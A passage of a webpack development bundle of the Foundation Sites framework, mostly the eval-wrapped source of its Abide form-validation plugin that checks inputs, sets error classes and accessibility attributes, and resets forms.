\'ResponsiveMenu\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveToggle__WEBPACK_IMPORTED_MODULE_16__.ResponsiveToggle, \'ResponsiveToggle\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_reveal__WEBPACK_IMPORTED_MODULE_17__.Reveal, \'Reveal\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_slider__WEBPACK_IMPORTED_MODULE_18__.Slider, \'Slider\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_sticky__WEBPACK_IMPORTED_MODULE_19__.Sticky, \'Sticky\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_tabs__WEBPACK_IMPORTED_MODULE_20__.Tabs, \'Tabs\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_toggler__WEBPACK_IMPORTED_MODULE_21__.Toggler, \'Toggler\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_tooltip__WEBPACK_IMPORTED_MODULE_22__.Tooltip, \'Tooltip\');\n\n_Users_joeworkman_Developer_foundation_sites_js_foundation_core__WEBPACK_IMPORTED_MODULE_1__.Foundation.plugin(_Users_joeworkman_Developer_foundation_sites_js_foundation_responsiveAccordionTabs__WEBPACK_IMPORTED_MODULE_23__.ResponsiveAccordionTabs, \'ResponsiveAccordionTabs\');\n\n//# sourceURL=webpack://foundation-sites/./custom-build/js/vendor/foundation.js?')},"./js/foundation.abide.js":function(__unused_webpack_module,__webpack_exports__,__webpack_require__){eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */   Abide: function() { return /* binding */ Abide; }\n/* harmony export */ });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\nfunction _typeof(obj) { \"@babel/helpers - typeof\"; return _typeof = \"function\" == typeof Symbol && \"symbol\" == typeof Symbol.iterator ? function (obj) { return typeof obj; } : function (obj) { return obj && \"function\" == typeof Symbol && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }, _typeof(obj); }\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, _toPropertyKey(descriptor.key), descriptor); } }\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); Object.defineProperty(Constructor, \"prototype\", { writable: false }); return Constructor; }\nfunction _toPropertyKey(arg) { var key = _toPrimitive(arg, \"string\");
525 return _typeof(key) === \"symbol\" ? key : String(key); }\nfunction _toPrimitive(input, hint) { if (_typeof(input) !== \"object\" || input === null) return input; var prim = input[Symbol.toPrimitive]; if (prim !== undefined) { var res = prim.call(input, hint || \"default\"); if (_typeof(res) !== \"object\") return res; throw new TypeError(\"@@toPrimitive must return a primitive value.\"); } return (hint === \"string\" ? String : Number)(input); }\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); Object.defineProperty(subClass, \"prototype\", { writable: false }); if (superClass) _setPrototypeOf(subClass, superClass); }\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf ? Object.setPrototypeOf.bind() : function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\nfunction _createSuper(Derived) { var hasNativeReflectConstruct = _isNativeReflectConstruct(); return function _createSuperInternal() { var Super = _getPrototypeOf(Derived), result; if (hasNativeReflectConstruct) { var NewTarget = _getPrototypeOf(this).constructor; result = Reflect.construct(Super, arguments, NewTarget); } else { result = Super.apply(this, arguments); } return _possibleConstructorReturn(this, result); }; }\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } else if (call !== void 0) { throw new TypeError(\"Derived constructors may only return object or undefined\"); } return _assertThisInitialized(self); }\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\nfunction _isNativeReflectConstruct() { if (typeof Reflect === \"undefined\" || !Reflect.construct) return false; if (Reflect.construct.sham) return false; if (typeof Proxy === \"function\") return true; try { Boolean.prototype.valueOf.call(Reflect.construct(Boolean, [], function () {})); return true; } catch (e) { return false; } }\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf.bind() : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\n\n\n\n/**\n * Abide module.\n * @module foundation.abide\n */\nvar Abide = /*#__PURE__*/function (_Plugin) {\n  _inherits(Abide, _Plugin);\n  var _super = _createSuper(Abide);\n  function Abide() {\n    _classCallCheck(this, Abide);\n    return _super.apply(this, arguments);\n  }\n  _createClass(Abide, [{\n    key: \"_setup\",\n    value:\n    /**\n     * Creates a new instance of Abide.\n     * @class\n     * @name Abide\n     * @fires Abide#init\n     * @param {Object} element - jQuery object to add the trigger to.\n     * @param {Object} options - Overrides to the default plugin settings.\n     */\n    function _setup(element) {\n      var options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {};\n      this.$element = element;\n      this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default().extend(true, {}, Abide.defaults, this.$element.data(), options);\n      this.isEnabled = true;\n      this.formnovalidate = null;\n      this.className = 'Abide'; // ie9 back compat\n      this._init();\n    }\n\n    /**\n     * Initializes the Abide plugin and calls functions to get Abide functioning on load.\n     * @private\n     */\n  }, {\n    key: \"_init\",\n    value: function _init() {\n      var _this2 = this;\n      this.$inputs = jquery__WEBPACK_IMPORTED_MODULE_0___default().merge(\n      // Consider as input to validate:\n      this.$element.find('input').not('[type=\"submit\"]'),\n      // * all input fields expect submit\n      this.$element.find('textarea, select') // * all textareas and select fields\n      );\n\n      this.$submits = this.$element.find('[type=\"submit\"]');\n      var $globalErrors = this.$element.find('[data-abide-error]');\n\n      // Add a11y attributes to all fields\n      if (this.options.a11yAttributes) {\n        this.$inputs.each(function (i, input) {\n          return _this2.addA11yAttributes(jquery__WEBPACK_IMPORTED_MODULE_0___default()(input));\n        });\n        $globalErrors.each(function (i, error) {\n          return _this2.addGlobalErrorA11yAttributes(jquery__WEBPACK_IMPORTED_MODULE_0___default()(error));\n        });\n      }\n      this._events();\n    }\n\n    /**\n     * Initializes events for Abide.\n     * @private\n     */\n  }, {\n    key: \"_events\",\n    value: function _events() {\n      var _this3 = this;\n      this.$element.off('.abide').on('reset.zf.abide', function () {\n        _this3.resetForm();\n      }).on('submit.zf.abide', function () {\n        return _this3.validateForm();\n      });\n      this.$submits.off('click.zf.abide keydown.zf.abide').on('click.zf.abide keydown.zf.abide', function (e) {\n        if (!e.key || e.key === ' ' || e.key === 'Enter') {\n          e.preventDefault();\n          _this3.formnovalidate = e.target.getAttribute('formnovalidate') !== null;\n          _this3.$element.submit();\n        }\n      });\n      if (this.options.validateOn === 'fieldChange') {\n        this.$inputs.off('change.zf.abide').on('change.zf.abide', function (e) {\n          _this3.validateInput(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target));\n        });\n      }\n      if (this.options.liveValidate) {\n        this.$inputs.off('input.zf.abide').on('input.zf.abide', function (e) {\n          _this3.validateInput(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target));\n        });\n      }\n      if (this.options.validateOnBlur) {\n        this.$inputs.off('blur.zf.abide').on('blur.zf.abide', function (e) {\n          _this3.validateInput(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target));\n        });\n      }\n    }\n\n    /**\n     * Calls necessary functions to update Abide upon DOM change\n     * @private\n     */\n  }, {\n    key: \"_reflow\",\n    value: function _reflow() {\n      this._init();\n    }\n\n    /**\n     * Checks whether the submitted form should be validated or not, consodering formnovalidate and isEnabled\n     * @returns {Boolean}\n     * @private\n     */\n  }, {\n    key: \"_validationIsDisabled\",\n    value: function _validationIsDisabled() {\n      if (this.isEnabled === false) {\n        // whole val
525idation disabled\n        return true;\n      } else if (typeof this.formnovalidate === 'boolean') {\n        // triggered by $submit\n        return this.formnovalidate;\n      }\n      // triggered by Enter in non-submit input\n      return this.$submits.length ? this.$submits[0].getAttribute('formnovalidate') !== null : false;\n    }\n\n    /**\n     * Enables the whole validation\n     */\n  }, {\n    key: \"enableValidation\",\n    value: function enableValidation() {\n      this.isEnabled = true;\n    }\n\n    /**\n     * Disables the whole validation\n     */\n  }, {\n    key: \"disableValidation\",\n    value: function disableValidation() {\n      this.isEnabled = false;\n    }\n\n    /**\n     * Checks whether or not a form element has the required attribute and if it's checked or not\n     * @param {Object} element - jQuery object to check for required attribute\n     * @returns {Boolean} Boolean value depends on whether or not attribute is checked or empty\n     */\n  }, {\n    key: \"requiredCheck\",\n    value: function requiredCheck($el) {\n      if (!$el.attr('required')) return true;\n      var isGood = true;\n      switch ($el[0].type) {\n        case 'checkbox':\n          isGood = $el[0].checked;\n          break;\n        case 'select':\n        case 'select-one':\n        case 'select-multiple':\n          var opt = $el.find('option:selected');\n          if (!opt.length || !opt.val()) isGood = false;\n          break;\n        default:\n          if (!$el.val() || !$el.val().length) isGood = false;\n      }\n      return isGood;\n    }\n\n    /**\n     * Get:\n     * - Based on $el, the first element(s) corresponding to `formErrorSelector` in this order:\n     *   1. The element's direct sibling('s).\n     *   2. The element's parent's children.\n     * - Element(s) with the attribute `[data-form-error-for]` set with the element's id.\n     *\n     * This allows for multiple form errors per input, though if none are found, no form errors will be shown.\n     *\n     * @param {Object} $el - jQuery object to use as reference to find the form error selector.\n     * @param {String[]} [failedValidators] - List of failed validators.\n     * @returns {Object} jQuery object with the selector.\n     */\n  }, {\n    key: \"findFormError\",\n    value: function findFormError($el, failedValidators) {\n      var _this4 = this;\n      var id = $el.length ? $el[0].id : '';\n      var $error = $el.siblings(this.options.formErrorSelector);\n      if (!$error.length) {\n        $error = $el.parent().find(this.options.formErrorSelector);\n      }\n      if (id) {\n        $error = $error.add(this.$element.find(\"[data-form-error-for=\\\"\".concat(id, \"\\\"]\")));\n      }\n      if (!!failedValidators) {\n        $error = $error.not('[data-form-error-on]');\n        failedValidators.forEach(function (v) {\n          $error = $error.add($el.siblings(\"[data-form-error-on=\\\"\".concat(v, \"\\\"]\")));\n          $error = $error.add(_this4.$element.find(\"[data-form-error-for=\\\"\".concat(id, \"\\\"][data-form-error-on=\\\"\").concat(v, \"\\\"]\")));\n        });\n      }\n      return $error;\n    }\n\n    /**\n     * Get the first element in this order:\n     * 2. The <label> with the attribute `[for=\"someInputId\"]`\n     * 3. The `.closest()` <label>\n     *\n     * @param {Object} $el - jQuery object to check for required attribute\n     * @returns {Boolean} Boolean value depends on whether or not attribute is checked or empty\n     */\n  }, {\n    key: \"findLabel\",\n    value: function findLabel($el) {\n      var id = $el[0].id;\n      var $label = this.$element.find(\"label[for=\\\"\".concat(id, \"\\\"]\"));\n      if (!$label.length) {\n        return $el.closest('label');\n      }\n      return $label;\n    }\n\n    /**\n     * Get the set of labels associated with a set of radio els in this order\n     * 2. The <label> with the attribute `[for=\"someInputId\"]`\n     * 3. The `.closest()` <label>\n     *\n     * @param {Object} $el - jQuery object to check for required attribute\n     * @returns {Boolean} Boolean value depends on whether or not attribute is checked or empty\n     */\n  }, {\n    key: \"findRadioLabels\",\n    value: function findRadioLabels($els) {\n      var _this5 = this;\n      var labels = $els.map(function (i, el) {\n        var id = el.id;\n        var $label = _this5.$element.find(\"label[for=\\\"\".concat(id, \"\\\"]\"));\n        if (!$label.length) {\n          $label = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).closest('label');\n        }\n        return $label[0];\n      });\n      return jquery__WEBPACK_IMPORTED_MODULE_0___default()(labels);\n    }\n\n    /**\n     * Get the set of labels associated with a set of checkbox els in this order\n     * 2. The <label> with the attribute `[for=\"someInputId\"]`\n     * 3. The `.closest()` <label>\n     *\n     * @param {Object} $el - jQuery object to check for required attribute\n     * @returns {Boolean} Boolean value depends on whether or not attribute is checked or empty\n     */\n  }, {\n    key: \"findCheckboxLabels\",\n    value: function findCheckboxLabels($els) {\n      var _this6 = this;\n      var labels = $els.map(function (i, el) {\n        var id = el.id;\n        var $label = _this6.$element.find(\"label[for=\\\"\".concat(id, \"\\\"]\"));\n        if (!$label.length) {\n          $label = jquery__WEBPACK_IMPORTED_MODULE_0___default()(el).closest('label');\n        }\n        return $label[0];\n      });\n      return jquery__WEBPACK_IMPORTED_MODULE_0___default()(labels);\n    }\n\n    /**\n     * Adds the CSS error class as specified by the Abide settings to the label, input, and the form\n     * @param {Object} $el - jQuery object to add the class to\n     * @param {String[]} [failedValidators] - List of failed validators.\n     */\n  }, {\n    key: \"addErrorClasses\",\n    value: function addErrorClasses($el, failedValidators) {\n      var $label = this.findLabel($el);\n      var $formError = this.findFormError($el, failedValidators);\n      if ($label.length) {\n        $label.addClass(this.options.labelErrorClass);\n      }\n      if ($formError.length) {\n        $formError.addClass(this.options.formErrorClass);\n      }\n      $el.addClass(this.options.inputErrorClass).attr({\n        'data-invalid': '',\n        'aria-invalid': true\n      });\n      if ($formError.filter(':visible').length) {\n        this.addA11yErrorDescribe($el, $formError);\n      }\n    }\n\n    /**\n     * Adds [for] and [role=alert] attributes to all form error targetting $el,\n     * and [aria-describedby] attribute to $el toward the first form error.\n     * @param {Object} $el - jQuery object\n     */\n  }, {\n    key: \"addA11yAttributes\",\n    value: function addA11yAttributes($el) {\n      var $errors = this.findFormError($el);\n      var $labels = $errors.filter('label');\n      if (!$errors.length) return;\n      var $error = $errors.filter(':visible').first();\n      if ($error.length) {\n        this.addA11yErrorDescribe($el, $error);\n      }\n      if ($labels.filter('[for]').length < $labels.length) {\n        // Get the input ID or create one\n        var elemId = $el.attr('id');\n        if (typeof elemId === 'undefined') {\n          elemId = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'abide-input');\n          $el.attr('id', elemId);\n        }\n\n        // For each label targeting $el, set [for] if it is not set.\n        $labels.each(function (i, label) {\n          var $label = jquery__WEBPACK_IMPORTED_MODULE_0___default()(label);\n          if (typeof $label.attr('for') === 'undefined') $label.attr('for', elemId);\n        });\n      }\n\n      // For each error targeting $el, set [role=alert] if it is not set.\n      $errors.each(function (i, label) {\n        var $label = jquery__WEBPACK_IMPORTED_MODULE_0___default()(label);\n        if (typeof $label.attr('role') === 'undefined') $label.attr('role', 'alert');\n      }).end();\n    }\n  }, {\n    key: \"addA11yErrorDescribe\",\n    value: function addA11yErrorDescribe($el, $error) {\n      if (typeof $el.attr('aria-describedby') !== 'undefined') return;\n\n      // Set [aria-describedby] on the input toward the first form error if it is not set\n      // Get the first error ID or create one\n      var errorId = $error.attr('id');\n      if (typeof errorId === 'undefined') {\n        errorId = (0,_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__.GetYoDigits)(6, 'abide-error');\n        $error.attr('id', errorId);\n      }\n      $el.attr('aria-describedby', errorId).data('abide-describedby', true);\n    }\n\n    /**\n     * Adds [aria-live] attribute to the given global form error $el.\n     * @param {Object} $el - jQuery object to add the attribute to\n     */\n  }, {\n    key: \"addGlobalErrorA11yAttributes\",\n    value: function addGlobalErrorA11yAttributes($el) {\n      if (typeof $el.attr('aria-live') === 'undefined') $el.attr('aria-live', this.options.a11yErrorLevel);\n    }\n\n    /**\n     * Remove CSS error classes etc from an entire radio button group\n     * @param {String} groupName - A string that specifies the name of a radio button group\n     *\n     */\n  }, {\n    key: \"removeRadioErrorClasses\",\n    value: function removeRadioErrorClasses(groupName) {\n      var $els = this.$element.find(\":radio[name=\\\"\".concat(groupName, \"\\\"]\"));\n      var $labels = this.findRadioLabels($els);\n      var $formErrors = this.findFormError($els);\n      if ($labels.length) {\n        $labels.removeClass(this.options.labelErrorClass);\n      }\n      if ($formErrors.length) {\n        $formErrors.removeClass(this.options.formErrorClass);\n      }\n      $els.removeClass(this.options.inputErrorClass).attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n    }\n\n    /**\n     * Remove CSS error classes etc from an entire checkbox group\n     * @param {String} groupName - A string that specifies the name of a checkbox group\n     *\n     */\n  }, {\n    key: \"removeCheckboxErrorClasses\",\n    value: function removeCheckboxErrorClasses(groupName) {\n      var $els = this.$element.find(\":checkbox[name=\\\"\".concat(groupName, \"\\\"]\"));\n      var $labels = this.findCheckboxLabels($els);\n      var $formErrors = this.findFormError($els);\n      if ($labels.length) {\n        $labels.removeClass(this.options.labelErrorClass);\n      }\n      if ($formErrors.length) {\n        $formErrors.removeClass(this.options.formErrorClass);\n      }\n      $els.removeClass(this.options.inputErrorClass).attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n    }\n\n    /**\n     * Removes CSS error class as specified by the Abide settings from the label, input, and the form\n     * @param {Object} $el - jQuery object to remove the class from\n     */\n  }, {\n    key: \"removeErrorClasses\",\n    value: function removeErrorClasses($el) {\n      // radios need to clear all of the els\n      if ($el[0].type === 'radio') {\n        return this.removeRadioErrorClasses($el.attr('name'));\n      }\n      // checkboxes need to clear all of the els\n      else if ($el[0].type === 'checkbox') {\n        return this.removeCheckboxErrorClasses($el.attr('name'));\n      }\n      var $label = this.findLabel($el);\n      var $formError = this.findFormError($el);\n      if ($label.length) {\n        $label.removeClass(this.options.labelErrorClass);\n      }\n      if ($formError.length) {\n        $formError.removeClass(this.options.formErrorClass);\n      }\n      $el.removeClass(this.options.inputErrorClass).attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n      if ($el.data('abide-describedby')) {\n        $el.removeAttr('aria-describedby').removeData('abide-describedby');\n      }\n    }\n\n    /**\n     * Goes through a form to find inputs and proceeds to validate them in ways specific to their type.\n     * Ignores inputs with data-abide-ignore, type=\"hidden\" or disabled attributes set\n     * @fires Abide#invalid\n     * @fires Abide#valid\n     * @param {Object} element - jQuery object to validate, should be an HTML input\n     * @returns {Boolean} goodToGo - If the input is valid or not.\n     */\n  }, {\n    key: \"validateInput\",\n    value: function validateInput($el) {\n      var _this7 = this;\n      var clearRequire = this.requiredCheck($el),\n        validator = $el.attr('data-validator'),\n        failedValidators = [],\n        manageErrorClasses = true;
525\n\n      // skip validation if disabled\n      if (this._validationIsDisabled()) {\n        return true;\n      }\n\n      // don't validate ignored inputs or hidden inputs or disabled inputs\n      if ($el.is('[data-abide-ignore]') || $el.is('[type=\"hidden\"]') || $el.is('[disabled]')) {\n        return true;\n      }\n      switch ($el[0].type) {\n        case 'radio':\n          this.validateRadio($el.attr('name')) || failedValidators.push('required');\n          break;\n        case 'checkbox':\n          this.validateCheckbox($el.attr('name')) || failedValidators.push('required');\n          // validateCheckbox() adds/removes error classes\n          manageErrorClasses = false;\n          break;\n        case 'select':\n        case 'select-one':\n        case 'select-multiple':\n          clearRequire || failedValidators.push('required');\n          break;\n        default:\n          clearRequire || failedValidators.push('required');\n          this.validateText($el) || failedValidators.push('pattern');\n      }\n      if (validator) {\n        var required = $el.attr('required') ? true : false;\n        validator.split(' ').forEach(function (v) {\n          _this7.options.validators[v]($el, required, $el.parent()) || failedValidators.push(v);\n        });\n      }\n      if ($el.attr('data-equalto')) {\n        this.options.validators.equalTo($el) || failedValidators.push('equalTo');\n      }\n      var goodToGo = failedValidators.length === 0;\n      var message = (goodToGo ? 'valid' : 'invalid') + '.zf.abide';\n      if (goodToGo) {\n        // Re-validate inputs that depend on this one with equalto\n        var dependentElements = this.$element.find(\"[data-equalto=\\\"\".concat($el.attr('id'), \"\\\"]\"));\n        if (dependentElements.length) {\n          var _this = this;\n          dependentElements.each(function () {\n            if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).val()) {\n              _this.validateInput(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n            }\n          });\n        }\n      }\n      if (manageErrorClasses) {\n        if (!goodToGo) {\n          this.addErrorClasses($el, failedValidators);\n        } else {\n          this.removeErrorClasses($el);\n        }\n      }\n\n      /**\n       * Fires when the input is done checking for validation. Event trigger is either `valid.zf.abide` or `invalid.zf.abide`\n       * Trigger includes the DOM element of the input.\n       * @event Abide#valid\n       * @event Abide#invalid\n       */\n      $el.trigger(message, [$el]);\n      return goodToGo;\n    }\n\n    /**\n     * Goes through a form and if there are any invalid inputs, it will display the form error element\n     * @returns {Boolean} noError - true if no errors were detected...\n     * @fires Abide#formvalid\n     * @fires Abide#forminvalid\n     */\n  }, {\n    key: \"validateForm\",\n    value: function validateForm() {\n      var _this8 = this;\n      var acc = [];\n      var _this = this;\n      var checkboxGroupName;\n\n      // Remember first form submission to prevent specific checkbox validation (more than one required) until form got initially submitted\n      if (!this.initialized) {\n        this.initialized = true;\n      }\n\n      // skip validation if disabled\n      if (this._validationIsDisabled()) {\n        this.formnovalidate = null;\n        return true;\n      }\n      this.$inputs.each(function () {\n        // Only use one checkbox per group since validateCheckbox() iterates over all associated checkboxes\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)[0].type === 'checkbox') {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('name') === checkboxGroupName) return true;\n          checkboxGroupName = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).attr('name');\n        }\n        acc.push(_this.validateInput(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)));\n      });\n      var noError = acc.indexOf(false) === -1;\n      this.$element.find('[data-abide-error]').each(function (i, elem) {\n        var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(elem);\n        // Ensure a11y attributes are set\n        if (_this8.options.a11yAttributes) _this8.addGlobalErrorA11yAttributes($elem);\n        // Show or hide the error\n        $elem.css('display', noError ? 'none' : 'block');\n      });\n\n      /**\n       * Fires when the form is finished validating. Event trigger is either `formvalid.zf.abide` or `forminvalid.zf.abide`.\n       * Trigger includes the element of the form.\n       * @event Abide#formvalid\n       * @event Abide#forminvalid\n       */\n      this.$element.trigger((noError ? 'formvalid' : 'forminvalid') + '.zf.abide', [this.$element]);\n      return noError;\n    }\n\n    /**\n     * Determines whether or a not a text input is valid based on the pattern specified in the attribute. If no matching pattern is found, returns true.\n     * @param {Object} $el - jQuery object to validate, should be a text input HTML element\n     * @param {String} pattern - string value of one of the RegEx patterns in Abide.options.patterns\n     * @returns {Boolean} Boolean value depends on whether or not the input value matches the pattern specified\n     */\n  }, {\n    key: \"validateText\",\n    value: function validateText($el, pattern) {\n      // A pattern can be passed to this function, or it will be infered from the input's \"pattern\" attribute, or it's \"type\" attribute\n      pattern = pattern || $el.attr('data-pattern') || $el.attr('pattern') || $el.attr('type');\n      var inputText = $el.val();
525\n      var valid = true;\n      if (inputText.length) {\n        // If the pattern attribute on the element is in Abide's list of patterns, then test that regexp\n        if (this.options.patterns.hasOwnProperty(pattern)) {\n          valid = this.options.patterns[pattern].test(inputText);\n        }\n        // If the pattern name isn't also the type attribute of the field, then test it as a regexp\n        else if (pattern !== $el.attr('type')) {\n          valid = new RegExp(pattern).test(inputText);\n        }\n      }\n      return valid;\n    }\n\n    /**\n     * Determines whether or a not a radio input is valid based on whether or not it is required and selected. Although the function targets a single `<input>`, it validates by checking the `required` and `checked` properties of all radio buttons in its group.\n     * @param {String} groupName - A string that specifies the name of a radio button group\n     * @returns {Boolean} Boolean value depends on whether or not at least one radio input has been selected (if it's required)\n     */\n  }, {\n    key: \"validateRadio\",\n    value: function validateRadio(groupName) {\n      // If at least one radio in the group has the `required` attribute, the group is considered required\n      // Per W3C spec, all radio buttons in a group should have `required`, but we're being nice\n      var $group = this.$element.find(\":radio[name=\\\"\".concat(groupName, \"\\\"]\"));\n      var valid = false,\n        required = false;\n\n      // For the group to be required, at least one radio needs to be required\n      $group.each(function (i, e) {\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).attr('required')) {\n          required = true;\n        }\n      });\n      if (!required) valid = true;\n      if (!valid) {\n        // For the group to be valid, at least one radio needs to be checked\n        $group.each(function (i, e) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).prop('checked')) {\n            valid = true;\n          }\n        });\n      }\n      return valid;\n    }\n\n    /**\n     * Determines whether or a not a checkbox input is valid based on whether or not it is required and checked. Although the function targets a single `<input>`, it validates by checking the `required` and `checked` properties of all checkboxes in its group.\n     * @param {String} groupName - A string that specifies the name of a checkbox group\n     * @returns {Boolean} Boolean value depends on whether or not at least one checkbox input has been checked (if it's required)\n     */\n  }, {\n    key: \"validateCheckbox\",\n    value: function validateCheckbox(groupName) {\n      var _this9 = this;\n      // If at least one checkbox in the group has the `required` attribute, the group is considered required\n      // Per W3C spec, all checkboxes in a group should have `required`, but we're being nice\n      var $group = this.$element.find(\":checkbox[name=\\\"\".concat(groupName, \"\\\"]\"));\n      var valid = false,\n        required = false,\n        minRequired = 1,\n        checked = 0;\n\n      // For the group to be required, at least one checkbox needs to be required\n      $group.each(function (i, e) {\n        if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).attr('required')) {\n          required = true;\n        }\n      });\n      if (!required) valid = true;\n      if (!valid) {\n        // Count checked checkboxes within the group\n        // Use data-min-required if available (default: 1)\n        $group.each(function (i, e) {\n          if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).prop('checked')) {\n            checked++;\n          }\n          if (typeof jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).attr('data-min-required') !== 'undefined') {\n            minRequired = parseInt(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e).attr('data-min-required'), 10);\n          }\n        });\n\n        // For the group to be valid, the minRequired amount of checkboxes have to be checked\n        if (checked >= minRequired) {\n          valid = true;\n        }\n      }\n\n      // Skip validation if more than 1 checkbox have to be checked AND if the form hasn't got submitted yet (otherwise it will already show an error during the first fill in)\n      if (this.initialized !== true && minRequired > 1) {\n        return true;\n      }\n\n      // Refresh error class for all input\n      $group.each(function (i, e) {\n        if (!valid) {\n          _this9.addErrorClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e), ['required']);\n        } else {\n          _this9.removeErrorClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(e));\n        }\n      });\n      return valid;\n    }\n\n    /**\n     * Determines if a selected input passes a custom validation function. Multiple validations can be used, if passed to the element with `data-validator=\"foo bar baz\"` in a space separated listed.\n     * @param {Object} $el - jQuery input element.\n     * @param {String} validators - a string of function names matching functions in the Abide.options.validators object.\n     * @param {Boolean} required - self explanatory?\n     * @returns {Boolean} - true if validations passed.\n     */\n  }, {\n    key: \"matchValidation\",\n    value: function matchValidation($el, validators, required) {\n      var _this10 = this;\n      required = required ? true : false;\n      var clear = validators.split(' ').map(function (v) {\n        return _this10.options.validators[v]($el, required, $el.parent());\n      });\n      return clear.indexOf(false) === -1;\n    }\n\n    /**\n     * Resets form inputs and styles\n     * @fires Abide#formreset\n     */\n  }, {\n    key: \"resetForm\",\n    value: function resetForm() {\n      var $form = this.$element,\n        opts = this.options;\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\".\".concat(opts.labelErrorClass), $form).not('small').removeClass(opts.labelErrorClass);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\".\".concat(opts.inputErrorClass), $form).not('small').removeClass(opts.inputErrorClass);\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(\"\".concat(opts.formErrorSelector, \".\").concat(opts.formErrorClass)).removeClass(opts.formErrorClass);\n      $form.find('[data-abide-error]').css('display', 'none');\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(':input', $form).not(':button, :submit, :reset, :hidden, :radio, :checkbox, [data-abide-ignore]').val('').attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(':input:radio', $form).not('[data-abide-ignore]').prop('checked', false).attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n      jquery__WEBPACK_IMPORTED_MODULE_0___default()(':input:checkbox', $form).not('[data-abide-ignore]').prop('checked', false).attr({\n        'data-invalid': null,\n        'aria-invalid': null\n      });\n      /**\n       * Fires when the form has been reset.\n       * @event Abide#formreset\n       */\n      $form.trigger('formreset.zf.abide', [$form]);\n    